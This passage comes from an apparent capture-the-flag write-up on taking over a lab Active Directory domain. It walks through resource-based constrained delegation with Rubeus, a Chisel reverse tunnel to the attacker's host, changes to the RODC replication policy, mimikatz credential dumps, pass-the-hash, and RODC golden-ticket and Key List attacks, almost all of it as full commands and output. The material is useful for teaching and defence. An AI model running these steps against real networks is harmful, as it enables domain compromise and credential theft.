SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
SeCreateSymbolicLinkPrivilege Create symbolic links Disabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
If I try to create a new task through Task Manager, it warns that it will be created with administrator privileges:
As a non-administrator, it doesn’t show that:
Creating a PSSession gives the same result:
PS C:\> Enter-PSSession -ComputerName RODC01.garfield.htb -Credential garfield\l.wilson_adm
[RODC01.garfield.htb]: PS C:\Users\l.wilson_adm\Documents> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeMachineAccountPrivilege Add workstations to domain Enabled
SeSecurityPrivilege Manage auditing and security log Enabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Enabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeDebugPrivilege Debug programs Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeUndockPrivilege Remove computer from docking station Enabled
SeEnableDelegationPrivilege Enable computer and user accounts to be trusted for delegation Enabled
SeManageVolumePrivilege Perform volume maintenance tasks Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
l.wilson_adm is now a local administrator on RODC01.
RBCD
Fake Computer RBCD
RBCD needs an account with an SPN that I control. The domain’s MachineAccountQuota is 10 (from the RustHound-CE output), so any user can create a computer account. I’ll create one:
oxdf@hacky$ addcomputer.py -computer-name 'OXDF$' -computer-pass '0xdf0xdf.' -dc-ip 10.129.244.207 'garfield.htb/l.wilson_adm:0xdf0xdf.'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Successfully added machine account OXDF$ with password 0xdf0xdf..
Now I’ll abuse the WriteAccountRestrictions access of l.wilson_adm over RODC01$ to allow my computer to impersonate users to services on RODC01:
oxdf@hacky$ rbcd.py -delegate-to 'RODC01$' -delegate-from 'OXDF$' -action write -dc-ip 10.129.244.207 'garfield.htb/l.wilson_adm:0xdf0xdf.'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] OXDF$ can now impersonate users on RODC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] OXDF$ (S-1-5-21-2502726253-3859040611-225969357-11101)
At this point, I have a fake computer object on the domain, and it is allowed to impersonate any user to services on RODC01.
I’ll also need the hash of the password for the fake computer I created:
oxdf@hacky$ python3 -c "import hashlib;print(hashlib.new('md4','0xdf0xdf.'.encode('utf-16le')).hexdigest())"
02cb8258df07966e32677128e5ff1d26
Abuse RBCD from Windows
I’ll upload a copy of Rubeus.exe (from SharpCollection) and a copy of PsExec64.exe (from SysInternals). I’ll request a ticket for the cifs SPN on RODC01, since PsExec connects over SMB. I’ll try it first from my WinRM session:
evil-winrm-py PS C:\programdata> .\Rubeus.exe s4u /user:OXDF$ /rc4:02cb8258df07966e32677128e5ff1d26 /impersonateuser:Administrator /msdsspn:cifs/RODC01.garfield.htb /ptt /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: S4U
[*] Using rc4_hmac hash: 02cb8258df07966e32677128e5ff1d26
[*] Building AS-REQ (w/ preauth) for: 'garfield.htb\OXDF$'
[*] Using domain controller: fe80::bae5:7a15:876d:83d8%7:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFVDCCBVCgAwIBBaEDAgE...[snip]...BmtyYnRndBsMZ2FyZmllbGQuaHRi
[*] Action: S4U
[*] Building S4U2self request for: 'OXDF$@GARFIELD.HTB'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[*] Sending S4U2self request to fe80::bae5:7a15:876d:83d8%7:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'OXDF$@GARFIELD.HTB'
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIBBaEDAgE...[snip]...UQqkSMBCgAwIBAaEJMAcbBU9YREYk
[*] Impersonating user 'Administrator' to target SPN 'cifs/RODC01.garfield.htb'
[*] Building S4U2proxy request for service: 'cifs/RODC01.garfield.htb'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[*] Sending S4U2proxy request to domain controller fe80::bae5:7a15:876d:83d8%7:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/RODC01.garfield.htb':
doIGnjCCBpqgAwIBBaEDAgE...[snip]...ZzGxNST0RDMDEuZ2FyZmllbGQuaHRi
[X] Error 1312 running LsaLookupAuthenticationPackage (ProtocalStatus): A specified logon session does not exist. It may already have been terminated
“A specified logon session does not exist”. /ptt injects the resulting ticket into my current logon session via LSA. My evil-winrm-py session is a transient network logon, so there is no stable interactive logon session for LSA to inject into, and the injection fails. The S4U itself worked, returning a cifs/RODC01 ticket, but it never got loaded into memory.
Over RDP, I can open PowerShell and it does work:
PS C:\programdata> .\Rubeus.exe s4u /user:OXDF$ /rc4:02cb8258df07966e32677128e5ff1d26 /impersonateuser:Administrator /msdsspn:cifs/RODC01.garfield.htb /ptt /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: S4U
[*] Using rc4_hmac hash: 02cb8258df07966e32677128e5ff1d26
[*] Building AS-REQ (w/ preauth) for: 'garfield.htb\OXDF$'
[*] Using domain controller: fe80::bae5:7a15:876d:83d8%7:88
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFVDCCBVCgAwIBBaEDAgE...[snip]...BmtyYnRndBsMZ2FyZmllbGQuaHRi
[*] Action: S4U
[*] Building S4U2self request for: 'OXDF$@GARFIELD.HTB'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[*] Sending S4U2self request to fe80::bae5:7a15:876d:83d8%7:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'OXDF$@GARFIELD.HTB'
[*] base64(ticket.kirbi):
doIF6jCCBeagAwIB...[snip]...kSMBCgAwIBAaEJMAcbBU9YREYk
[*] Impersonating user 'Administrator' to target SPN 'cifs/RODC01.garfield.htb'
[*] Building S4U2proxy request for service: 'cifs/RODC01.garfield.htb'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[*] Sending S4U2proxy request to domain controller fe80::bae5:7a15:876d:83d8%7:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'cifs/RODC01.garfield.htb':
doIGnjCCBpqgA...[snip]...ZzGxNST0RDMDEuZ2FyZmllbGQuaHRi
[+] Ticket successfully imported!
Now I can PsExec, and it automatically uses this ticket:
PS C:\programdata> .\PsExec64.exe -accepteula \\RODC01.garfield.htb cmd
PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com
Microsoft Windows [Version 10.0.17763.8511]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname
RODC01
C:\Windows\system32>whoami
garfield\administrator
Abuse RBCD with Tunnel from Linux
I can do this entire attack from my VM with a tunnel to access RODC01. I’ll download a Windows Chisel binary and upload it to Garfield:
evil-winrm-py PS C:\programdata> upload /opt/chisel/chisel_1.11.8_windows_amd64 c.exe
Uploading /opt/chisel/chisel_1.11.8_windows_amd64: 10.5MB [00:16, 684kB/s]
[+] File uploaded successfully as: C:\programdata\c.exe
With a Chisel server listening on my host, I’ll run .\c.exe client 10.10.15.169:8000 R:socks, and it connects:
oxdf@hacky$ ./chisel_1.11.8_linux_amd64 server -p 8000 --reverse
2026/11/04 15:56:05 server: Reverse tunnelling enabled
2026/11/04 15:56:05 server: Fingerprint nEu0FVefn2bdPQvJ71hwsVyHmdtcf0qqqtF4TNAtz8U=
2026/11/04 15:56:05 server: Listening on http://0.0.0.0:8000
2026/11/04 15:56:51 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
I’ll use the same fake computer with RBCD I setup above. Now I can request a ticket:
oxdf@hacky$ getST.py 'garfield.htb/OXDF$:0xdf0xdf.' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.244.207
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache
I can use that ticket over proxychains to get a shell:
oxdf@hacky$ KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache proxychains wmiexec.py -k -no-pass garfield.htb/Administrator@RODC01.garfield.htb
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
[proxychains] Strict chain ... 127.0.0.1:1080 ... RODC01.garfield.htb:445 ... OK
[*] SMBv3.0 dialect used
[proxychains] Strict chain ... 127.0.0.1:1080 ... RODC01.garfield.htb:135 ... OK
[proxychains] Strict chain ... 127.0.0.1:1080 ... RODC01.garfield.htb:49669 ... OK
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>hostname
RODC01
C:\>whoami
garfield\administrator
Shell as Administrator on DC01
Enumeration
RODC01 has a few users with home directories:
PS C:\users> ls
Directory: C:\users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/17/2025 7:35 AM a.wilson
d----- 8/16/2025 4:47 PM Administrator
d----- 4/1/2026 12:31 PM Administrator.GARFIELD
d-r--- 8/16/2025 4:47 PM Public
d----- 9/12/2025 9:23 AM svc_ldap
tree /f shows one interesting file:
PS C:\users> tree /f
Folder PATH listing
Volume serial number is 26A4-B0BC
C:.
├───a.wilson
...[snip]...
├───Administrator
...[snip]...
├───Administrator.GARFIELD
...[snip]...
├───Public
...[snip]...
└───svc_ldap
...[snip]...
├───Documents
│ mimikatz.exe
...[snip]...
It’s interesting that svc_ldap has a copy of mimikatz.exe. Nothing else interesting.
The rest of the filesystem is very empty.
RODC Allow Lists
The RODC allow list (msDS-RevealOnDemandGroup) and deny list (msDS-NeverRevealGroup) are readable by any user:
PS C:\> Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Allowed
Name : Allowed RODC Password Replication Group
ObjectClass : group
ObjectGUID : c156f4aa-6307-4c39-9bb1-c639c7bd3719
SamAccountName : Allowed RODC Password Replication Group
SID : S-1-5-21-2502726253-3859040611-225969357-571
PS C:\> Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Denied
DistinguishedName : CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
Name : Denied RODC Password Replication Group
ObjectClass : group
ObjectGUID : f24e7edd-b7b0-4030-a09e-2c49d2e97a1e
SamAccountName : Denied RODC Password Replication Group
SID : S-1-5-21-2502726253-3859040611-225969357-572
DistinguishedName : CN=Account Operators,CN=Builtin,DC=garfield,DC=htb
Name : Account Operators
ObjectClass : group
ObjectGUID : c2528fd1-310b-46a0-a713-acba48b52334
SamAccountName : Account Operators
SID : S-1-5-32-548
DistinguishedName : CN=Server Operators,CN=Builtin,DC=garfield,DC=htb
Name : Server Operators
ObjectClass : group
ObjectGUID : e5e03394-d8c8-4123-a100-8bb3a34898a1
SamAccountName : Server Operators
SID : S-1-5-32-549
DistinguishedName : CN=Backup Operators,CN=Builtin,DC=garfield,DC=htb
Name : Backup Operators
ObjectClass : group
ObjectGUID : 881d41dc-1a5c-40be-b4a2-e52be9a12f15
SamAccountName : Backup Operators
SID : S-1-5-32-551
DistinguishedName : CN=Administrators,CN=Builtin,DC=garfield,DC=htb
Name : Administrators
ObjectClass : group
ObjectGUID : a4ab2eba-4ac5-45ef-a29c-89216814593e
SamAccountName : Administrators
SID : S-1-5-32-544
If I haven’t added l.wilson_adm to the RODC Administrators group, I can’t edit the lists:
PS C:\> Add-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -AllowedList "Administrator"
Add-ADDomainControllerPasswordReplicationPolicy : Insufficient access rights to perform the operation
At line:1 char:1
+ Add-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -All ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : WriteError: (RODC01:ADDomainController) [Add-ADDomainCon...plicationPolicy], CmdletInvocationException
+ FullyQualifiedErrorId : 0,Microsoft.ActiveDirectory.Management.Commands.AddADDomainControllerPasswordReplicationPolicy
If I get this error, I’ll need to fully log out of my RDP session (not just close it) and log back in to get a refreshed token after adding the group.
I can add l.wilson_adm with bloodyAD:
oxdf@hacky$ bloodyAD --host DC01.garfield.htb -d garfield.htb -u l.wilson_adm -p 0xdf0xdf. add groupMember "RODC Administrators" l.wilson_adm
[+] l.wilson_adm added to RODC Administrators
Or with PowerShell on DC01:
PS C:\> Add-ADGroupMember -Identity "RODC Administrators" -Members "l.wilson_adm"
PS C:\> Get-ADGroupMember -Identity "RODC Administrators"
distinguishedName : CN=Liz Wilson ADM,CN=Users,DC=garfield,DC=htb
name : Liz Wilson ADM
objectClass : user
objectGUID : 12355eae-9f01-44a7-8b8d-060a51e42acb
SamAccountName : l.wilson_adm
SID : S-1-5-21-2502726253-3859040611-225969357-3107
Now it works to edit:
PS C:\> Add-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -AllowedList "Administrator"
PS C:\> Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Allowed
DistinguishedName : CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb
Name : Allowed RODC Password Replication Group
ObjectClass : group
ObjectGUID : c156f4aa-6307-4c39-9bb1-c639c7bd3719
SamAccountName : Allowed RODC Password Replication Group
SID : S-1-5-21-2502726253-3859040611-225969357-571
DistinguishedName : CN=Administrator,CN=Users,DC=garfield,DC=htb
Name : Administrator
ObjectClass : user
ObjectGUID : c3378089-c8d5-4614-a784-5de71bf43754
SamAccountName : Administrator
SID : S-1-5-21-2502726253-3859040611-225969357-500
I’ll need to get any groups that contain Administrator off the deny list as well (as deny takes precedence when an account is on both lists). I’ll just remove all the groups:
PS C:\> $denied = Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Denied
PS C:\> Remove-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -DeniedList $denied -Confirm:$false
PS C:\> Get-ADDomainControllerPasswordReplicationPolicy -Identity RODC01 -Denied
Now the Administrator hash can be cached on the RODC.
Recover Administrator Credential
Strategy
There are a few ways I can get the Administrator credential here. One would be just to wait for them to do something that caches the credential on the RODC. This won’t work here because there’s nothing spurring that caching event.
I’ll show three ways:
- I can force DC01 to cache the Administrator hash on RODC01, and then read it with
mimikatz.exe. - I can do an RODC Golden Ticket, where I use the krbtgt_8245 key with
Rubeus.exeto forge a TGT for the Administrator. Because they are allowed to be cached on RODC01, DC01 will accept it, and I can then use it in aRubeus.exeKey List request to recover the Administrator hash. - Basically the same as 2, but entirely from Linux using
ticketer.pyto get the TGT, and then pass that toevil-winrm-pyto authenticate to DC01 as Administrator.
Force Caching
There’s a simple command to get DC01 to send its hash for a user over to RODC01 that I run from RODC01:
PS C:\> repadmin /rodcpwdrepl RODC01 DC01.garfield.htb "CN=Administrator,CN=Users,DC=garfield,DC=htb"
Successfully replicated secrets for user CN=Administrator,CN=Users,DC=garfield,DC=htb on read-only DC RODC01 from full DC DC01.garfield.htb.
Now I can use the mimikatz.exe that’s already on RODC01 to read the hash:
PS C:\users\svc_ldap\Documents> .\mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
540 {0;000003e7} 1 D 20246 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;0108c4f2} 0 D 17478744 GARFIELD\Administrator S-1-5-21-2502726253-3859040611-225969357-500
(15g,26p) Primary
* Thread Token : {0;000003e7} 1 D 17506233 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz # lsadump::lsa /inject /name:Administrator
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357
RID : 000001f4 (500)
User : Administrator
* Primary
NTLM : ee238f6debc752010428f20875b092d5
LM :
Hash NTLM: ee238f6debc752010428f20875b092d5
ntlm- 0: ee238f6debc752010428f20875b092d5
ntlm- 1: 3becc55e330d27d1ca51cd60d09fd385
ntlm- 2: ee238f6debc752010428f20875b092d5
ntlm- 3: 64f12cddaa88057e06a81b54e73b949b
ntlm- 4: 64f12cddaa88057e06a81b54e73b949b
ntlm- 5: ee238f6debc752010428f20875b092d5
ntlm- 6: 64fbae31cc352fc26af97cbdef151e03
ntlm- 7: 5835048ce94ad0564e29a924a03510ef
ntlm- 8: ee238f6debc752010428f20875b092d5
lm - 0: be646df3b701d8cc0ae85c14df96650e
lm - 1: f465f4617a5413cb7f24484d3ce174e3
lm - 2: 4c3f8ce1476cf9763c28342a449aa788
lm - 3: affa79dd064052ad50af03c2379f65da
lm - 4: 65a11b03d9f2f53c5f4e9424a8ff2c73
lm - 5: 652dcf8cd1576efcdd586cabf442a9e2
lm - 6: 935468fff2d8238bbe948c46517bac1a
lm - 7: cc46f8e8687131f941c69f7f04a53386
* WDigest
01 b4340ef78aa56eed99dbaae8c75707cd
02 605efdfec8be1e5b01dbcb1f47e48464
03 9a6e19761fad0458e9b6ae00578d3652
04 b4340ef78aa56eed99dbaae8c75707cd
05 e92760dcb29e2b609ab4e20301746c38
06 98796685d046e8bbfcfda91df2d69d18
07 5db522f02cd08dd9d9da92dc90a32d5b
08 a0faa76b5f45b3eac6aff50fb54c4d8f
09 191e2d00d0903f4cf6f2e110ebc6d1af
10 9ed9671e670a2394a9b240ec9805fba7
11 de7338e7ea46d333e6b5ae88db3a239d
12 a0faa76b5f45b3eac6aff50fb54c4d8f
13 2a66803436bd68197a7240b177c73d2a
14 91390829538e01690312d52fe06d4fd4
15 c74bec4fb64abaea6889b5a614616f42
16 cff004893d48cf1f5be2879cdd55acdd
17 7ccd39cd356296b4c52df7d3b1af6d17
18 add3132e324b1c1718f50122e64eecb6
19 2c82e0847a43198faad9a06a9af36f98
20 e0b6ae628d040adda0371dd38cec8e82
21 b01959b1f0cdf015faf39a610b113bb6
22 7dcbb3a8534df9084b9491e2d6ac6632
23 5c40743b6a30623619ebb5405b0cc432
24 54ab64bb70e63f9b4f8e0d857cbd1d61
25 b97b9abdc01ac1b500333d6a5cb40198
26 440f399229353fecc9d318c901cd6be3
27 f5282356131a5fd33885e674fe6ec6c4
28 d3798ff94e3271a70b5c2f27033d68fa
29 9e0c7f3b839d0903ec060eb445ae0d48
* Kerberos
Default Salt : GARFIELD.HTBAdministrator
Credentials
des_cbc_md5 : ce8067135851fdf1
OldCredentials
des_cbc_md5 : ab753de6fbd9fb0d
* Kerberos-Newer-Keys
Default Salt : GARFIELD.HTBAdministrator
Default Iterations : 4096
Credentials
aes256_hmac (4096) : 53b9e15b84f5b44ca093b5a74098b26aae113a806a9a7ff647754dc6518e9c29
aes128_hmac (4096) : f0aaabf4238c8cb0cf30b123d15bc579
des_cbc_md5 (4096) : ce8067135851fdf1
OldCredentials
aes256_hmac (4096) : 6639f9a4fb8b8601163c1dd3db45d80924a1271b0c58a302d758c1a0a7fb7c11
aes128_hmac (4096) : d67bc0192c4df16224bab3393d510cc8
des_cbc_md5 (4096) : ab753de6fbd9fb0d
OlderCredentials
aes256_hmac (4096) : 53b9e15b84f5b44ca093b5a74098b26aae113a806a9a7ff647754dc6518e9c29
aes128_hmac (4096) : f0aaabf4238c8cb0cf30b123d15bc579
des_cbc_md5 (4096) : ce8067135851fdf1
* NTLM-Strong-NTOWF
Random Value : c08b9f76234648f5e6b727b6b8c2c05f
The NTLM at the top works:
oxdf@hacky$ netexec smb DC01.garfield.htb -u Administrator -H ee238f6debc752010428f20875b092d5
SMB 10.129.244.207 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:garfield.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.244.207 445 DC01 [+] garfield.htb\Administrator:ee238f6debc752010428f20875b092d5 (Pwn3d!)
I’ll get a shell:
oxdf@hacky$ evil-winrm-py -i DC01.garfield.htb -u Administrator -H ee238f6debc752010428f20875b092d5
_ _ _
_____ _(_| |_____ __ _(_)_ _ _ _ _ __ ___ _ __ _ _
/ -_\ V | | |___\ V V | | ' \| '_| ' |___| '_ | || |
\___|\_/|_|_| \_/\_/|_|_||_|_| |_|_|_| | .__/\_, |
|_| |__/ v1.6.0
[*] Connecting to 'DC01.garfield.htb:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents>
And the flag:
evil-winrm-py PS C:\Users\Administrator\Desktop> cat root.txt
0d464e6c************************
RODC Golden Ticket / Kerberos Key List
I’ll start by using the mimikatz.exe that’s already on RODC01 to dump the keys for krbtgt_8245:
PS C:\users\svc_ldap\Documents> .\mimikatz
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # token::elevate
Token Id : 0
User name :
SID name : NT AUTHORITY\SYSTEM
540 {0;000003e7} 1 D 20246 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary
-> Impersonated !
* Process Token : {0;0108c4f2} 0 D 17366324 GARFIELD\Administrator S-1-5-21-2502726253-3859040611-225969357-500
(15g,26p) Primary
* Thread Token : {0;000003e7} 1 D 17393394 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation)
mimikatz # lsadump::lsa /inject /name:krbtgt_8245
Domain : GARFIELD / S-1-5-21-2502726253-3859040611-225969357
RID : 00000643 (1603)
User : krbtgt_8245
* Primary
NTLM : 445aa4221e751da37a10241d962780e2
LM :
Hash NTLM: 445aa4221e751da37a10241d962780e2
ntlm- 0: 445aa4221e751da37a10241d962780e2
lm - 0: 0ab3d34a182bb016fc4cfd26544a9f16
* WDigest
01 6d31d1f92ef6d85f5517944f98bf5753
02 8c46bd5ddc680291e70800990dbc02e3
03 9ffbc24f29b9bb3df3c32b76631ff874
04 6d31d1f92ef6d85f5517944f98bf5753
05 8c46bd5ddc680291e70800990dbc02e3
06 8fc97c500bf9c7c4a0d34a497f9c5245
07 6d31d1f92ef6d85f5517944f98bf5753
08 c4bac61b7ecb407d358f836d2f4e19c6
09 c4bac61b7ecb407d358f836d2f4e19c6
10 d8938c80e1e0c80a2ec1d8b06f42cb31
11 67f002aa49f4400fa970a53e294f4bee
12 c4bac61b7ecb407d358f836d2f4e19c6
13 56062e2db43bc0069deb86de87509ca6
14 67f002aa49f4400fa970a53e294f4bee
15 7250fcfc09d9cb93345c0c1393e19e52
16 7250fcfc09d9cb93345c0c1393e19e52
17 04b30cd8b5381d4b8458b0c996503a91
18 b48bda9ef98982d5ee33766a74880e01
19 bb365cf4f0bcdadf35b6a9b04c58257b
20 85addbd6d603cca1b500f2da02b205d0
21 b6186618611e202aae4141716e6603f5
22 b6186618611e202aae4141716e6603f5
23 f3f6c9408db132bf8e59413b7b40bb16
24 0acf88cc5cb3b35888708ebefe658b6f
25 0acf88cc5cb3b35888708ebefe658b6f
26 08b8941632a5017e7178a3761dfaf7fb
27 c1b2fd89d0dafb5f9e18147042bdc433
28 712f0b6ed3b7eb7f6f135a1e298c4e09
29 bf8d51270f7f657079bb9744446d70cb
* Kerberos
Default Salt : GARFIELD.HTBkrbtgt_8245
Credentials
des_cbc_md5 : d540fe6192b9ecfe
* Kerberos-Newer-Keys
Default Salt : GARFIELD.HTBkrbtgt_8245
Default Iterations : 4096
Credentials
aes256_hmac (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240
aes128_hmac (4096) : 124c0fd09f5fa4efca8d9f1da91369e5
des_cbc_md5 (4096) : d540fe6192b9ecfe
* NTLM-Strong-NTOWF
Random Value : f4b51c2c0d006172304e31dbc6e0de6b
The AES key for this account is d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240. I could also get this using secretsdump.py from my host through the Chisel tunnel.
Back on DC01, I can use this key to forge an RODC golden ticket with Rubeus.exe. This TGT for Administrator is signed by the RODC’s krbtgt (krbtgt_8245):
PS C:\programdata> .\Rubeus.exe golden /rodcNumber:8245 /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Build TGT
[*] Building PAC
[*] Domain : GARFIELD.HTB (GARFIELD)
[*] SID : S-1-5-21-2502726253-3859040611-225969357
[*] UserId : 500
[*] Groups : 520,512,513,519,518
[*] ServiceKey : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : D6C93CBE006372ADB8403630F9E86594F52C8105A52F9B21FEF62E9C7A75E240
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Target : garfield.htb
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'Administrator@garfield.htb'
[*] AuthTime : 11/5/2026 3:44:07 AM
[*] StartTime : 11/5/2026 3:44:07 AM
[*] EndTime : 11/5/2026 1:44:07 PM
[*] RenewTill : 11/12/2026 3:44:07 AM
[*] base64(ticket.kirbi):
doIFkjCCBY6gAwIBBaEDAgE...[snip]...gwFhsGa3JidGd0GwxnYXJmaWVsZC5odGI=
A Kerberos Key List request is a feature built for RODCs. When a full DC receives a TGS request for krbtgt with a TGT signed by an RODC’s krbtgt key, and the user is allowed to be cached on that RODC, it returns the user’s long-term keys in the reply so the RODC can cache them. In this case, there’s no real RODC making the request. I forged the TGT myself with the krbtgt_8245 key, so DC01 sends the Administrator’s keys to me.
I’ll use that ticket to make a Key List request (/keyList) to DC01, which returns the Administrator’s hash:
PS C:\programdata> .\Rubeus.exe asktgs /keyList /service:krbtgt/garfield.htb /dc:DC01.garfield.htb /ticket:doIFkjCCBY6gAwIBBaEDAgEW...[snip]...JidGd0GwxnYXJmaWVsZC5odGI= /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Ask TGS
[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building KeyList TGS-REQ request for: 'Administrator'
[*] Using domain controller: DC01.garfield.htb (fe80::bae5:7a15:876d:83d8%7)
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFnjCCBZqgAwIBBa...[snip]...VMRC5IVEI=
ServiceName : krbtgt/GARFIELD.HTB
ServiceRealm : GARFIELD.HTB
UserName : Administrator (NT_PRINCIPAL)
UserRealm : GARFIELD.HTB
StartTime : 11/5/2026 3:45:33 AM
EndTime : 11/5/2026 1:44:07 PM
RenewTill : 1/1/0001 12:00:00 AM
Flags : name_canonicalize, pre_authent
KeyType : aes256_cts_hmac_sha1
